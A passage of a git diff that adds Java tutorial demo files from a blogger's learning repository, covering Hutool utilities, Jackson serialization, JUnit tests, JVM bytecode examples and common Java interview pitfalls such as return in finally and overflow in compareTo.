+import cn.hutool.core.util.StrUtil; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class StrUtilDemo { + public static void main(String[] args) { +String template = "{},一枚沉默但有趣的程序员,喜欢他的文章的话,请微信搜索{}"; +String str = StrUtil.format(template, "沉默王二", "沉默王二"); + System.out.println(str); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/validator/ValidatorDemo.java b/codes/TechSister/src/main/java/com/itwanger/hutool/validator/ValidatorDemo.java new file mode 100644 index 0000000000..73187174f8 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/hutool/validator/ValidatorDemo.java @@ -0,0 +1,13 @@ +package com.itwanger.hutool.validator; + +import cn.hutool.core.lang.Validator; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class ValidatorDemo { + public static void main(String[] args) { +Validator.isEmail("沉默王二"); +Validator.isMobile("itwanger.com"); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/zip/ZipUtilDemo.java b/codes/TechSister/src/main/java/com/itwanger/hutool/zip/ZipUtilDemo.java new file mode 100644 index 0000000000..30f3da83a7 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/hutool/zip/ZipUtilDemo.java @@ -0,0 +1,15 @@ +package com.itwanger.hutool.zip; + +import cn.hutool.core.util.ZipUtil; + +import java.io.File; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class ZipUtilDemo { + public static void main(String[] args) { +ZipUtil.zip("hutool", "hutool.zip"); +File unzip = ZipUtil.unzip("hutool.zip", "hutoolzip"); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/interview/date1201/BigDecimalDemo.java b/codes/TechSister/src/main/java/com/itwanger/interview/date1201/BigDecimalDemo.java new file mode 100644 index 0000000000..3b822f9af5 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/interview/date1201/BigDecimalDemo.java @@ -0,0 +1,19 @@ +package com.itwanger.interview.date1201; + +import java.math.BigDecimal; + +/** + * 微信搜索「沉默王二」,回复 Java + * + * @author 沉默王二 + * @date 2020/12/1 + */ +public class BigDecimalDemo { + public static void main(String[] args) { +BigDecimal bd1 = new BigDecimal("2.0"); +BigDecimal bd2 = new BigDecimal("2.00"); + +System.out.println("equals: " + bd1.equals(bd2)); +System.out.println("compareTo: " + bd1.compareTo(bd2)); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/interview/date1201/CompareDemo.java b/codes/TechSister/src/main/java/com/itwanger/interview/date1201/CompareDemo.java new file mode 100644 index 0000000000..30e728b18b --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/interview/date1201/CompareDemo.java @@ -0,0 +1,43 @@ +package com.itwanger.interview.date1201; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; + +/** + * 微信搜索「沉默王二」,回复 Java + * + * @author 沉默王二 + * @date 2020/12/1 + */ +public class CompareDemo { + public static void main(String[] args) { + List list = new ArrayList<>(); + list.add(new Employee(1)); + list.add(new Employee(Integer.MIN_VALUE)); + list.add(new Employee(Integer.MAX_VALUE)); + Collections.sort(list); + System.out.println(list); + } +} + +class Employee implements Comparable { + private int id; + + public Employee(int id) { + this.id = id; + } + + @Override + public int compareTo(Object o) { + Employee emp = (Employee) o; + return this.id - emp.id; + } + + @Override + public String toString() { + return "Employee{" + + "id=" + id + + '}'; + } +} \ No newline at end of file diff --git a/codes/TechSister/src/main/java/com/itwanger/interview/date1201/ExceptionDemo.java b/codes/TechSister/src/main/java/com/itwanger/interview/date1201/ExceptionDemo.java new file mode 100644 index 0000000000..f3a95305f4 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/interview/date1201/ExceptionDemo.java @@ -0,0 +1,22 @@ +package com.itwanger.interview.date1201; + +/** + * 微信搜索「沉默王二」,回复 Java + * + * @author 沉默王二 + * @date 2020/12/1 + */ +public class ExceptionDemo { + public static void main(String[] args) { + Super s = new Child(); + s.write(); + } +} +class Super{ + public void write() throws NullPointerException { } +} + +class Child extends Super { + @Override + public void write() throws RuntimeException { } +} \ No newline at end of file diff --git a/codes/TechSister/src/main/java/com/itwanger/interview/date1201/PrivateOrrideTest.java b/codes/TechSister/src/main/java/com/itwanger/interview/date1201/PrivateOrrideTest.java new file mode 100644 index 0000000000..ba33259ab4 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/interview/date1201/PrivateOrrideTest.java @@ -0,0 +1,36 @@ +package com.itwanger.interview.date1201; + +/** + * 微信搜索「沉默王二」,回复 Java + * + * @author 沉默王二 + * @date 2020/12/1 + */ +class LaoWang{ + public LaoWang() { + write(); + read(); + } + public void write() { + System.out.println("老王写了一本《基督山伯爵》"); + } + + private void read() { + System.out.println("老王在读《哈姆雷特》"); + } +} +class XiaoWang extends LaoWang { + @Override + public void write() { + System.out.println("小王写了一本《茶花女》"); + } + + private void read() { + System.out.println("小王在读《威尼斯商人》"); + } +} +public class PrivateOrrideTest { + public static void main(String[] args) { + LaoWang wang = new XiaoWang(); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/interview/date1201/StaticOrrideTest.java b/codes/TechSister/src/main/java/com/itwanger/interview/date1201/StaticOrrideTest.java new file mode 100644 index 0000000000..68e83d8329 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/interview/date1201/StaticOrrideTest.java @@ -0,0 +1,24 @@ +package com.itwanger.interview.date1201; + +/** + * 微信搜索「沉默王二」,回复 Java + * + * @author 沉默王二 + * @date 2020/12/1 + */ +public class StaticOrrideTest { + public static void main(String[] args) { + Laozi zi = new Xiaozi(); + zi.write(); + } +} +class Laozi{ + public static void write() { + System.out.println("老子写了一本《基督山伯爵》"); + } +} +class Xiaozi extends Laozi { + public static void write() { + System.out.println("小子写了一本《茶花女》"); + } +} \ No newline at end of file diff --git a/codes/TechSister/src/main/java/com/itwanger/interview/date1201/Test.java b/codes/TechSister/src/main/java/com/itwanger/interview/date1201/Test.java new file mode 100644 index 0000000000..16ac3d9eb0 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/interview/date1201/Test.java @@ -0,0 +1,15 @@ +package com.itwanger.interview.date1201; + +/** + * 微信搜索「沉默王二」,回复 Java + * + * @author 沉默王二 + * @date 2020/12/1 + */ +public class Test { + public static void main(String[] args) { + System.out.println(Math.min(Double.MIN_VALUE, 0.0d)); + System.out.println(Double.MIN_VALUE); + System.out.println(Integer.MIN_VALUE); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/interview/date1201/Test1.java b/codes/TechSister/src/main/java/com/itwanger/interview/date1201/Test1.java new file mode 100644 index 0000000000..7bab4eecda --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/interview/date1201/Test1.java @@ -0,0 +1,56 @@ +package com.itwanger.interview.date1201; + +/** + * 微信搜索「沉默王二」,回复 Java + * + * @author 沉默王二 + * @date 2020/12/1 + */ +public class Test1 { + public static void main(String[] args) { + returnTryExec(); + returnCatchExec(); + exitTryExec(); + exitCatchExec(); + } + + public static int returnTryExec() { + try { + return 0; + } catch (Exception e) { + } finally { + System.out.println("finally returnTryExec"); + return -1; + } + } + + public static int returnCatchExec() { + try { + + } catch (Exception e) { + return 0; + } finally { + System.out.println("finally returnCatchExec"); + return -1; + } + } + + public static void exitTryExec() { + try { + System.exit(0); + } catch (Exception e) { + } finally { + System.out.println("finally exitTryExec"); + } + } + + public static void exitCatchExec() { + try { + + } catch (Exception e) { + System.exit(0); + } finally { + System.out.println("finally exitCatchExec"); + } + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/interview/date1201/Test2.java b/codes/TechSister/src/main/java/com/itwanger/interview/date1201/Test2.java new file mode 100644 index 0000000000..904ebca760 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/interview/date1201/Test2.java @@ -0,0 +1,23 @@ +package com.itwanger.interview.date1201; + +import com.google.gson.JsonNull; + +import java.nio.charset.Charset; +import java.nio.charset.StandardCharsets; +import java.util.Arrays; + +/** + * 微信搜索「沉默王二」,回复 Java + * + * @author 沉默王二 + * @date 2020/12/1 + */ +public class Test2 { + public static void main(String[] args) { + char[] chars = new char[]{'\u0097'}; + String str = new String(chars); + System.out.println(str); + byte[] bytes = str.getBytes(Charset.forName("GB2312")); + System.out.println(Arrays.toString(bytes)); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/jackson/CustomDeserializer.java b/codes/TechSister/src/main/java/com/itwanger/jackson/CustomDeserializer.java new file mode 100644 index 0000000000..06be8358b1 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/jackson/CustomDeserializer.java @@ -0,0 +1,87 @@ +package com.itwanger.jackson; + +import com.fasterxml.jackson.core.JsonParser; +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.core.Version; +import com.fasterxml.jackson.databind.DeserializationContext; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.deser.std.StdDeserializer; +import com.fasterxml.jackson.databind.module.SimpleModule; +import com.fasterxml.jackson.databind.node.IntNode; + +import java.io.IOException; + +/** + * 微信搜索「沉默王二」,回复 Java + * + * @author 沉默王二 + * @date 2020/11/26 + */ +public class CustomDeserializer extends StdDeserializer { + protected CustomDeserializer(Class vc) { + super(vc); + } + + public CustomDeserializer() { + this(null); + } + + @Override + public Woman deserialize(JsonParser p, DeserializationContext ctxt) throws IOException, JsonProcessingException { + JsonNode node = p.getCodec().readTree(p); + Woman woman = new Woman(); + int age = (Integer) ((IntNode) node.get("age")).numberValue(); + String name = node.get("name").asText(); + woman.setAge(age); + woman.setName(name); + return woman; + } + + public static void main(String[] args) throws JsonProcessingException { +ObjectMapper mapper = new ObjectMapper(); +SimpleModule module = + new SimpleModule("CustomDeserializer", new Version(1, 0, 0, null, null, null)); +module.addDeserializer(Woman.class, new CustomDeserializer()); +mapper.registerModule(module); +String json = "{ \"name\" : \"三妹\", \"age\" : 18 }"; +Woman woman = mapper.readValue(json, Woman.class); +System.out.println(woman); + } +} +class Woman{ + private int age; + private String name; + + public Woman() { + } + + public Woman(int age, String name) { + this.age = age; + this.name = name; + } + + public int getAge() { + return age; + } + + public void setAge(int age) { + this.age = age; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + @Override + public String toString() { + return "Woman{" + + "age=" + age + + ", name='" + name + '\'' + + '}'; + } +} \ No newline at end of file diff --git a/codes/TechSister/src/main/java/com/itwanger/jackson/CustomSerializer.java b/codes/TechSister/src/main/java/com/itwanger/jackson/CustomSerializer.java new file mode 100644 index 0000000000..9c0f4addd5 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/jackson/CustomSerializer.java @@ -0,0 +1,72 @@ +package com.itwanger.jackson; + +import com.fasterxml.jackson.core.JsonGenerator; +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.core.Version; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.SerializerProvider; +import com.fasterxml.jackson.databind.module.SimpleModule; +import com.fasterxml.jackson.databind.ser.std.StdSerializer; + +import java.io.IOException; + +/** + * 微信搜索「沉默王二」,回复 Java + * + * @author 沉默王二 + * @date 2020/11/26 + */ +public class CustomSerializer extends StdSerializer { + + protected CustomSerializer(Class t) { + super(t); + } + + public CustomSerializer() { + this(null); + } + + @Override + public void serialize(Man value, JsonGenerator gen, SerializerProvider provider) throws IOException { + gen.writeStartObject(); + gen.writeStringField("name", value.getName()); + gen.writeEndObject(); + } + + public static void main(String[] args) throws JsonProcessingException { +ObjectMapper mapper = new ObjectMapper(); +SimpleModule module = + new SimpleModule("CustomSerializer", new Version(1, 0, 0, null, null, null)); +module.addSerializer(Man.class, new CustomSerializer()); +mapper.registerModule(module); +Man man = new Man( 18,"沉默王二"); +String json = mapper.writeValueAsString(man); +System.out.println(json); + } +} + +class Man{ + private int age; + private String name; + + public Man(int age, String name) { + this.age = age; + this.name = name; + } + + public int getAge() { + return age; + } + + public void setAge(int age) { + this.age = age; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } +} \ No newline at end of file diff --git a/codes/TechSister/src/main/java/com/itwanger/jackson/Demo.java b/codes/TechSister/src/main/java/com/itwanger/jackson/Demo.java new file mode 100644 index 0000000000..30d4df4f1d --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/jackson/Demo.java @@ -0,0 +1,97 @@ +package com.itwanger.jackson; + +import com.fasterxml.jackson.annotation.JsonFormat; +import com.fasterxml.jackson.annotation.JsonIgnore; +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; +import com.fasterxml.jackson.annotation.JsonInclude; +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.DeserializationFeature; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.SerializationFeature; +import com.fasterxml.jackson.databind.util.StdDateFormat; + +import java.util.Date; + +/** + * 微信搜索「沉默王二」,回复 Java + * + * @author 沉默王二 + * @date 2020/11/26 + */ +public class Demo { + public static void main(String[] args) throws JsonProcessingException { + ObjectMapper mapper = new ObjectMapper(); + mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false); +//在序列化时忽略值为 null 的属性 +mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL); +//忽略值为默认值的属性 +mapper.setDefaultPropertyInclusion(JsonInclude.Include.NON_DEFAULT); +mapper.setDateFormat(StdDateFormat.getDateTimeInstance()); + + Writer wanger = new Writer("沉默王二", 18); + wanger.setBirthday(new Date()); + String jsonString = mapper.writerWithDefaultPrettyPrinter() + .writeValueAsString(wanger); + + System.out.println(jsonString); + + + jsonString = "{\n" + + " \"name\" : null,\n" + + " \"age\" : 18,\n" + + " \"sex\" : \"男\"\n" + + "}"; + Writer deserializedWriter = mapper.readValue(jsonString, Writer.class); + System.out.println(deserializedWriter); + } +} + +@JsonIgnoreProperties(value = { "age","birthday" }) +class Writer{ + private String name; + private int age; +private Date birthday; + +// GMT+8 是指格林尼治的标准时间,在加上八个小时表示你现在所在时区的时间 +//@JsonFormat(timezone = "CST+8",pattern = "yyyy-MM-dd HH:mm:ss") +public Date getBirthday() { + return birthday; +} + +public void setBirthday(Date birthday) { + this.birthday = birthday; +} + + public Writer(String name, int age) { + this.name = name; + this.age = age; + } + + public Writer() { + } + +//@JsonIgnore +public String getName() { + return name; +} + + public void setName(String name) { + this.name = name; + } + + public int getAge() { + return age; + } + + public void setAge(int age) { + this.age = age; + } + + @Override + public String toString() { + return "Writer{" + + "name='" + name + '\'' + + ", age=" + age + + '}'; + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/jackson/JsonNodeDemo.java b/codes/TechSister/src/main/java/com/itwanger/jackson/JsonNodeDemo.java new file mode 100644 index 0000000000..61ffa44ffe --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/jackson/JsonNodeDemo.java @@ -0,0 +1,21 @@ +package com.itwanger.jackson; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; + +/** + * 微信搜索「沉默王二」,回复 Java + * + * @author 沉默王二 + * @date 2020/11/26 + */ +public class JsonNodeDemo { + public static void main(String[] args) throws JsonProcessingException { + ObjectMapper mapper = new ObjectMapper(); + String json = "{ \"name\" : \"沉默王二\", \"age\" : 18 }"; + JsonNode jsonNode = mapper.readTree(json); + String name = jsonNode.get("name").asText(); + System.out.println(name); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/jackson/TypeReferenceDemo.java b/codes/TechSister/src/main/java/com/itwanger/jackson/TypeReferenceDemo.java new file mode 100644 index 0000000000..0b85f442a6 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/jackson/TypeReferenceDemo.java @@ -0,0 +1,50 @@ +package com.itwanger.jackson; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.core.type.TypeReference; +import com.fasterxml.jackson.databind.ObjectMapper; + +import java.util.List; + +/** + * 微信搜索「沉默王二」,回复 Java + * + * @author 沉默王二 + * @date 2020/11/26 + */ +public class TypeReferenceDemo { + public static void main(String[] args) throws JsonProcessingException { + ObjectMapper mapper = new ObjectMapper(); + String json = "[{ \"name\" : \"沉默王三\", \"age\" : 18 }, { \"name\" : \"沉默王二\", \"age\" : 19 }]"; + List listAuthor = mapper.readValue(json, new TypeReference>(){}); + System.out.println(listAuthor); + } +} +class Author{ + private String name; + private int age; + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public int getAge() { + return age; + } + + public void setAge(int age) { + this.age = age; + } + + @Override + public String toString() { + return "Writer{" + + "name='" + name + '\'' + + ", age=" + age + + '}'; + } +} \ No newline at end of file diff --git a/codes/TechSister/src/main/java/com/itwanger/junit/Calculator.java b/codes/TechSister/src/main/java/com/itwanger/junit/Calculator.java new file mode 100644 index 0000000000..fa8cd44a04 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/junit/Calculator.java @@ -0,0 +1,16 @@ +package com.itwanger.junit; + +/** + * 微信搜索「沉默王二」,回复 Java + * + * @author 沉默王二 + * @date 2020/12/28 + */ +public class Calculator { + public int sub(int a, int b) { + return a - b; + } + public int add(int a, int b) { + return a + b; + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/junit/CalculatorTest.java b/codes/TechSister/src/main/java/com/itwanger/junit/CalculatorTest.java new file mode 100644 index 0000000000..3c37b1f650 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/junit/CalculatorTest.java @@ -0,0 +1,38 @@ +package com.itwanger.junit; + +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * 微信搜索「沉默王二」,回复 Java + * + * @author 沉默王二 + * @date 2020/12/28 + */ +class CalculatorTest { + Calculator calculator; + + @BeforeEach + void setUp() { + calculator = new Calculator(); + } + + @AfterEach + void tearDown() { + calculator = null; + } + + + @Test + void sub() { + assertEquals(0,calculator.sub(1,1)); + } + + @Test + void add() { + assertEquals(2,calculator.add(1,1)); + } +} \ No newline at end of file diff --git a/codes/TechSister/src/main/java/com/itwanger/junit/Factorial.java b/codes/TechSister/src/main/java/com/itwanger/junit/Factorial.java new file mode 100644 index 0000000000..05f2d94726 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/junit/Factorial.java @@ -0,0 +1,21 @@ +package com.itwanger.junit; + +/** + * 微信搜索「沉默王二」,回复 Java + * + * @author 沉默王二 + * @date 2020/12/28 + */ +public class Factorial { + public static long fact(long n) { + if (n < 0) { + throw new IllegalArgumentException("参数不能小于 0"); + } + long r = 1; + for (long i = 1; i <= n; i++) { + r = r * i; + } + return r; + } +} + diff --git a/codes/TechSister/src/main/java/com/itwanger/junit/FactorialTest.java b/codes/TechSister/src/main/java/com/itwanger/junit/FactorialTest.java new file mode 100644 index 0000000000..9cd9a34fbc --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/junit/FactorialTest.java @@ -0,0 +1,43 @@ +package com.itwanger.junit; + +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.function.Executable; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * 微信搜索「沉默王二」,回复 Java + * + * @author 沉默王二 + * @date 2020/12/28 + */ +class FactorialTest { + + @Test + void fact() { + assertEquals(1, Factorial.fact(1)); + assertEquals(2, Factorial.fact(2)); + assertEquals(6, Factorial.fact(3)); + assertEquals(120, Factorial.fact(5)); + } + + @Test + void factIllegalArgument() { + assertThrows(IllegalArgumentException.class, new Executable() { + @Override + public void execute() throws Throwable { + Factorial.fact(-2); + } + }); + } + + @Test + void factIllegalArgumentLambda() { + assertThrows(IllegalArgumentException.class, () -> { + Factorial.fact(-2); + }); + } +} + + + diff --git a/codes/TechSister/src/main/java/com/itwanger/jvm/AttributeTest.java b/codes/TechSister/src/main/java/com/itwanger/jvm/AttributeTest.java new file mode 100644 index 0000000000..c8b66db7dd --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/jvm/AttributeTest.java @@ -0,0 +1,8 @@ +package com.itwanger.jvm; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class AttributeTest { + public static final int DEFAULT_SIZE = 128; +} diff --git a/codes/TechSister/src/main/java/com/itwanger/jvm/Color.java b/codes/TechSister/src/main/java/com/itwanger/jvm/Color.java new file mode 100644 index 0000000000..0b5a5c2d5c --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/jvm/Color.java @@ -0,0 +1,8 @@ +package com.itwanger.jvm; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public enum Color { + RED,GREEN,BLUE; +} diff --git a/codes/TechSister/src/main/java/com/itwanger/jvm/ConstantTest.java b/codes/TechSister/src/main/java/com/itwanger/jvm/ConstantTest.java new file mode 100644 index 0000000000..95bbef0d19 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/jvm/ConstantTest.java @@ -0,0 +1,12 @@ +package com.itwanger.jvm; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class ConstantTest { + public final boolean bool = true; + public final char aChar = 'a'; + public final byte b = 66; + public final short s = 67; + public final int i = 68; +} diff --git a/codes/TechSister/src/main/java/com/itwanger/jvm/Dup.java b/codes/TechSister/src/main/java/com/itwanger/jvm/Dup.java new file mode 100644 index 0000000000..18fd1a177b --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/jvm/Dup.java @@ -0,0 +1,45 @@ +package com.itwanger.jvm; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class Dup { + int age; + public int incAndGet() { + return ++age; + } + +public void lcmp(long a, long b) { + if(a > b){} +} + +public void fi() { + int a = 0; + if (a == 0) { + a = 10; + } else { + a = 20; + } +} + +public void compare() { + int i = 10; + int j = 20; + System.out.println(i > j); +} + +public void switchTest(int select) { + int num; + switch (select) { + case 1: + num = 10; + break; + case 2: + case 3: + num = 30; + break; + default: + num = 40; + } +} +} diff --git a/codes/TechSister/src/main/java/com/itwanger/jvm/DynamicLinking.java b/codes/TechSister/src/main/java/com/itwanger/jvm/DynamicLinking.java new file mode 100644 index 0000000000..2895fd1d52 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/jvm/DynamicLinking.java @@ -0,0 +1,33 @@ +package com.itwanger.jvm; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class DynamicLinking { + static abstract class Human { + protected abstract void sayHello(); + } + + static class Man extends Human { + @Override + protected void sayHello() { + System.out.println("男人哭吧哭吧不是罪"); + } + } + + static class Woman extends Human { + @Override + protected void sayHello() { + System.out.println("山下的女人是老虎"); + } + } + + public static void main(String[] args) { + Human man = new Man(); + Human woman = new Woman(); + man.sayHello(); + woman.sayHello(); + man = new Woman(); + man.sayHello(); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/jvm/FieldsTest.java b/codes/TechSister/src/main/java/com/itwanger/jvm/FieldsTest.java new file mode 100644 index 0000000000..4694fc1b8a --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/jvm/FieldsTest.java @@ -0,0 +1,8 @@ +package com.itwanger.jvm; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class FieldsTest { + private String name; +} diff --git a/codes/TechSister/src/main/java/com/itwanger/jvm/Hello.java b/codes/TechSister/src/main/java/com/itwanger/jvm/Hello.java new file mode 100644 index 0000000000..39fdb50ab6 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/jvm/Hello.java @@ -0,0 +1,10 @@ +package com.itwanger.jvm; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +class Hello { + public static void main(String[] args) { + + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/jvm/InvokeExamples.java b/codes/TechSister/src/main/java/com/itwanger/jvm/InvokeExamples.java new file mode 100644 index 0000000000..8c14111142 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/jvm/InvokeExamples.java @@ -0,0 +1,27 @@ +package com.itwanger.jvm; + +import java.util.ArrayList; +import java.util.List; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class InvokeExamples { + private void run() { + List ls = new ArrayList(); + ls.add("难顶"); + + ArrayList als = new ArrayList(); + als.add("学不动了"); + } + + public static void print() { + System.out.println("invokestatic"); + } + + public static void main(String[] args) { + print(); + InvokeExamples invoke = new InvokeExamples(); + invoke.run(); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/jvm/LocalVaraiablesTable.java b/codes/TechSister/src/main/java/com/itwanger/jvm/LocalVaraiablesTable.java new file mode 100644 index 0000000000..878b84efa8 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/jvm/LocalVaraiablesTable.java @@ -0,0 +1,29 @@ +package com.itwanger.jvm; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class LocalVaraiablesTable { + private void write(int age) { + String name = "沉默王二"; + } + +public static void method() { + // ① + if (true) { + // ② + String name = "沉默王二"; + } + // ③ + if(true) { + // ④ + int age = 18; + } + // ⑤ +} + +public void solt() { + double d = 1.0; + int i = 1; +} +} diff --git a/codes/TechSister/src/main/java/com/itwanger/jvm/Main.java b/codes/TechSister/src/main/java/com/itwanger/jvm/Main.java new file mode 100644 index 0000000000..9efe66cd32 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/jvm/Main.java @@ -0,0 +1,75 @@ +package com.itwanger.jvm; + +import java.io.File; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class Main { + private int age = 18; + public int getAge() { + return age; + } + +private void load(int age, String name, long birthday, boolean sex) { + System.out.println(age + name + birthday + sex); +} + +public void pushConstLdc() { + // 范围 [-1,5] + int iconst = -1; + // 范围 [-128,127] + int bipush = 127; + // 范围 [-32768,32767] + int sipush= 32767; + // 其他 int + int ldc = 32768; + String aconst = null; + String IdcString = "沉默王二"; +} + +public void store(int age, String name) { + int temp = age + 2; + String str = name; +} + +public void infinityNaN() { + int i = 10; + double j = i / 0.0; + System.out.println(j); // Infinity + + double d1 = 0.0; + double d2 = d1 / 0.0; + System.out.println(d2); // NaN +} + + public static void main(String[] args) { + Main main = new Main(); + main.newObject(); + } + +public void calculate(int age) { + int add = age + 1; + int sub = age - 1; + int mul = age * 2; + int div = age / 3; + int rem = age % 4; + age++; + age--; +} + +public void updown() { + int i = 10; + double d = i; + + float f = 10f; + long ong = (long)f; +} + +public void newObject() { + int [] ages = new int[100]; + String name = new String("沉默王二"); + File file = new File("无愁河的浪荡汉子.book"); +} + +} diff --git a/codes/TechSister/src/main/java/com/itwanger/jvm/MethodCode.java b/codes/TechSister/src/main/java/com/itwanger/jvm/MethodCode.java new file mode 100644 index 0000000000..eff21d20b5 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/jvm/MethodCode.java @@ -0,0 +1,13 @@ +package com.itwanger.jvm; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class MethodCode { + public static void main(String[] args) { + foo(); + } + + private static void foo() { + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/jvm/MethodsTest.java b/codes/TechSister/src/main/java/com/itwanger/jvm/MethodsTest.java new file mode 100644 index 0000000000..f1486fc7dd --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/jvm/MethodsTest.java @@ -0,0 +1,10 @@ +package com.itwanger.jvm; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class MethodsTest { + public static void main(String[] args) { + + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/jvm/OperandStack.java b/codes/TechSister/src/main/java/com/itwanger/jvm/OperandStack.java new file mode 100644 index 0000000000..595b59cc71 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/jvm/OperandStack.java @@ -0,0 +1,14 @@ +package com.itwanger.jvm; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class OperandStack { + public void test() { + add(1,2); + } + + private int add(int a, int b) { + return a + b; + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/jvm/Writer.java b/codes/TechSister/src/main/java/com/itwanger/jvm/Writer.java new file mode 100644 index 0000000000..97335eeda4 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/jvm/Writer.java @@ -0,0 +1,19 @@ +package com.itwanger.jvm; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class Writer { + private String name; + static String mark = "作者"; + + public static void main(String[] args) { + print(mark); + Writer w = new Writer(); + print(w.name); + } + + public static void print(String arg) { + System.out.println(arg); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/one/HelloWorld.java b/codes/TechSister/src/main/java/com/itwanger/one/HelloWorld.java new file mode 100644 index 0000000000..47e0b1be3c --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/one/HelloWorld.java @@ -0,0 +1,10 @@ +package com.itwanger.one; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class HelloWorld { + public static void main(String[] args) { + System.out.println("Hello World"); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/overriding/Animal.java b/codes/TechSister/src/main/java/com/itwanger/overriding/Animal.java new file mode 100644 index 0000000000..2e52985c8b --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/overriding/Animal.java @@ -0,0 +1,14 @@ +package com.itwanger.overriding; + +import java.io.IOException; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public abstract class Animal implements Wuti{ + protected void eat() { } + + static void sleep() { + System.out.println("动物在睡觉"); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/overriding/Dog.java b/codes/TechSister/src/main/java/com/itwanger/overriding/Dog.java new file mode 